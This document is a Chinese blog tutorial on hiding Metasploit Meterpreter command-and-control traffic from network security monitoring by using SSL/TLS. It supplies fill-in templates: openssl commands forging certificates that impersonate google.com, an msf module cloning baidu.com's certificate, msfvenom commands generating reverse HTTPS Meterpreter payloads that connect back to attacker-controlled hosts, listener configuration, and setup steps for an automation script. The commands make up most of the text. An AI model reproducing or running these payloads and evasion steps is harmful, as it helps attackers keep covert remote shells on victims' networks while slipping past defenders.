前言
在实战中,即便你绕过了杀毒软件的检测,也很有可能会结束在某些流量监控的设备上,所以这便开启了我对流量监测对抗的学习。
重点对象
平时用于渗透的两大神器,msf和cs,可以说其是每一个内网玩家的必用工具。理所当然,这两款工具也自然而然地被各大安全厂商分析,捕捉其在命令执行时产生的数据和流量。当我们使用一个没有做过加密处理的原版工具时,内网中的安全设备会根据我们的流量特征进行判断,认定我们为恶意进程,从而导致控制中断。
Meterpreter传输加载原理
文章链接:Meterpreter免杀及对抗分析
作者:Green_m
大佬
文章链接:探寻Metasploit Payload模式背后的秘密
作者:你会忘了我
大佬
流量检测对抗
Msf对抗
对抗的方法是使用SSL/TLS
认证,所以我们的第一步就是生成一个SSL
证书。
生成SSL证书的两种方法
1.openssl
我们可以使用kali自带的openssl生成自定义证书。
找到如下几个模板,自行套入:
openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \
-subj "/C=UK/ST=London/L=London/O=Development/CN=www.google.com" \
-keyout www.google.com.key \
-out www.google.com.crt && \
cat www.google.com.key www.google.com.crt > www.google.com.pem && \
rm -f www.google.com.key www.google.com.crt
openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \
-subj "/C=US/ST=Texas/L=Austin/O=Development/CN=118.25.69.199" \
-keyout hack.key \
-out hack.crt && \
cat hack.key hack.crt > hack.pem && \
rm -f hack.key hack.crt
指定地址为URL或者IP地址都可以。
2.auxiliary/gather/impersonate_ssl
该方法是利用的msf模块,可根据受信任的站点自动创建伪造的证书。
use auxiliary/gather/impersonate_ssl
set rhost www.baidu.com
run
设置有效载荷
找到如下几个模板,自行套入
msfvenom -p windows/meterpreter/reverse_winhttps LHOST=192.168.100.3 LPORT=443 PayloadUUIDTracking=true HandlerSSLCert=/root/Desktop/www.google.com.pem StagerVerifySSLCert=true PayloadUUIDName=ParanoidStagedPSH -f psh-cmd -o pentestlab.bat
msfvenom -p windows/meterpreter/reverse_winhttps LHOST=192.168.203.149 LPORT=443 PayloadUUIDTracking=true HandlerSSLCert=/root/Desktop/www.google.com.pem StagerVerifySSLCert=true PayloadUUIDName=hackergu -f exe -o sslgu.exe
msfvenom -p windows/meterpreter/reverse_winhttps LHOST=green-m.github.io LPORT=443 PayloadUUIDTracking=true HandlerSSLCert=./green-m.github.io.pem StagerVerifySSLCert=true PayloadUUIDName=Green_m -f exe -o ./Green_m.exe
通过设置PayloadUUIDTracking和PayloadUUIDName可以在监听的时候过滤掉不需要的回连请求。
如果网络环境不好,你还可以使用stageless的payload,-p参数指定windows/meterpreter_reverse_https,其他不用修改。
我们也可以生成shellcode自行编译。
msfvenom -p windows/meterpreter/reverse_winhttps LHOST=192.168.203.149 LPORT=443 PayloadUUIDTracking=true HandlerSSLCert=/root/Desktop/www.google.com.pem StagerVerifySSLCert=true PayloadUUIDName=hackergu -f c
配置监听器
set payload windows/meterpreter/reverse_winhttps
set LHOST 192.168.203.149
set LPORT 443
set HandlerSSLCert /root/Desktop/www.google.com.pem
set StagerVerifySSLCert true
set IgnoreUnknownPayloads true
set exitonsession false
HANDLERSSLCERT选项中设置PEM格式证书的路径来告知有效负载处理程序将使用的证书,然后通过将stagerverifysslcert设置为true来启用对该证书的检查,IgnoreUnknownPayloads接受白名单的payload。
Meterpreter偏执模式利用工具
项目地址:Meterpreter_Paranoid_Mode v1.4 – SSL/TLS connections
该工具可自动完成证书创建
–>载荷生成
–>配置监听
–>目标上线
的过程。
工具概括
该工具是如何作用的呢?首先要理解Meterpreter的工作原理,Green_m大佬写的文章已经很清楚了吧。
msf中加载生成的木马分为两大类:staged
和stageless
。
Staged木马:客户端在从服务器端接收stager后,stager由引导代码loader和payload组成,客户端在内存中分配一段地址将payload暂存起来,再通过loader来加载内存中的payload。这种内存中注入PE文件的方式称为反射型DLL注入。(windows/meterpreter/reverse_tcp)
Stageless木马:将完整的payload都编译在木马中,相对与staged的木马来说,前者体积庞大不灵活,而且容易被杀。(/windows/meterpreter_reverse_tcp)
此工具脚本可分别针对两种木马设置不同的Payload:
Staged (payload.bat|ps1|txt|exe):
windows/meterpreter/reverse_winhttps
windows/meterpreter/reverse_https
windows/x64/meterpreter/reverse_https
Stageless (binary.exe):
windows/meterpreter_reverse_https
windows/x64/meterpreter_reverse_https
Meterpreter_Paranoid_Mode.sh
该脚本可分别对Staged和Stageless两种木马进行加密保护,使用生成的Pem证书进行加密有效载荷。并在监听设置处,设置好证书的路径,以便处理程序使用SHA1哈希用于身份验证。
工具使用
执行命令安装:
git clone https://github.com/r00t-3xp10it/Meterpreter_Paranoid_Mode-SSL
对脚本赋权:
cd Meterpreter_Paranoid_Mode-SSL/
chmod +x *.sh
配置脚本:
nano settings
其中最重要的命令,便是nano settings
。
该settings
配置文件控制我们生成的载荷类型以及编码模式等等。
数据库连接检查
负载输出类型
手动输入代理
混淆代码使用的编码器
获取会话默认使用的模块
运行时,要以root身份运行脚本,输入域名等信息,即可自动化完成创建证书、利用证书以及监听等工作。
由于不可抗力的因素,我并未成功运行此脚本,系统确实有点小问题,准备重新装系统了。这个脚本对于我,利用价值可有可无,就不再深究。
网上看到一篇的使用文章,感觉不错,分享下:
https://www.cnblogs.com/haq5201314/p/6999883.html
总结
流量加密的第一篇,仅在msf上做了简单的测试,思路还有很多,而且,cs上有更大的发展空间,这些作为以后的笔记再写出来吧。
参考文章:https://green-m.me/2016/11/23/msf-paranoid-mode/